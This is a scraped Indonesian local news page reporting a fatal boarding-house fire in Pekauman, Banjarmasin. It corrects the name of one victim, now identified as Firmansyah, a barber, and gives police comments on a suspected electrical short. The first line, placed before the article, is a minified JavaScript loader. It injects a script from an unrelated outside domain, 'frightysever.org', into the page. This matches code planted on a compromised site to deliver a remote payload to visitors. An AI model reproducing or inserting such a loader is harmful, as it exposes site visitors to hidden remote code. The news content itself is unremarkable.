(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Korban Meninggal dalam Kebakaran di Pekauman Ternyata Tukang Pangkas Rambut


BANJARMASIN, Salah seorang korban meninggal dalam kebakaran di Jalan Rantauan Darat, Pakauman, Banjarmasin adalah Firmansyah -sebelumnya ditulis Rahmat-, ternyata adalah seorang tukang pangkas rambut. Ia seorang perantau asal Anjir Pasar, Barito Kuala (Batola) yang tinggal belum satu tahun di lokasi tersebut.

Firmansyah tinggal seorang diri. Sebelum pindah ke Banjarmasin, almarhum sempat membuka usaha yang sama di Palangkaraya, Kalteng. “Ia memang orangnya tidak banyak omong. Di sini seorang diri merantau dari Anjir Pasar. Bekerja sebagai tukang pangkas rambut yang sebelumnya di Palangkaraya,” kata kakak angkat korban, Novi di RSUD Ulin Banjarmasin.

Novi mengaku terpukul karena yang menjadi korban adalah adik angkatnya. Sebab sebelumnya diberitakan korban bernama Rahmat. “Tadi malam memang mendengar kalau ada korban jiwa kebakaran di lokasi itu. Cuma karena mendengar nama korban adalah Rahmat, jadi saya pikir bukan Firman,” katanya.  Almarhum dibawa ke Anjir Pasar untuk dikebumikan di sana sesuai permintaan keluarga.

Sebelumnya, korban diduga terkepung api hingga tak bisa menyelamatkan diri pada kebakaran yang terjadi Senin (23/12) dini hari. Kapolresta Banjarmasin Kombes Sumarto langsung meninjau lokasi kebakaran, didampingi oleh Kepala BPBD Banjarmasin HM Hilmi.

Berdasarkan informasi yang didapat, Kombes Sumarto menuturkan, kedua korban yang tewas terpanggang ini, diduga terjebak api. Saat api membesar dan membakar kost 5 pintu di depan Pasar Pekauman Banjarmasin. “Kemungkinan korban ini terjebak api, yang menjalar ke arah kamarnya. Sehingga dia tidak bisa ke luar,” kata Kombes Sumarto.

Diduga, kedua korban terjebak di posisi pojok kamar kostnya. Yaitu di kamar mandi dan dekat dapur. “Saat ini kita sedang lakukan pemeriksaan berupa otopsi di RS Ulin Banjarmasin dan kita lakukan penyelidikan,” tambah Kombes Sumarto.

Kombes Sumarto menduga, kebakaran bermula dari korsleting listrik. Sehingga, dirinya mengimbau kepada masyarakat untuk berhati-hati dalam penggunaan perangkat listrik. “Apalagi rumah kita banyak dari kayu. Jadi harus dihindari tumpukan kabel di satu stop kontak. Sehingga tidak terjadi korsleting. Panas, korsleting dan terbakar,” tambahnya.

Diberitakan sebelumnya, musibah kebakaran terjadi di Jalan Rantauan Darat RT 20 RW 07 Kelurahan Pekauman Banjarmasin, Senin (23/12) dinihari. Akibatnya, dua orang pria masing-masing bernama Daniel (25) dan Rahmat (30) tewas terbakar akibat musibah kebakaran ini. (fikri)

Reporter : Fikri
Editor : Cell


Desy Arfianty

Recent Posts

PAM Bandarmasih Ganti Pipa Kropos, Tiga Kecamatan Terdampak Seret Air

KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More

10 menit ago

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

16 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

18 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

18 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

20 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

22 jam ago

This website uses cookies.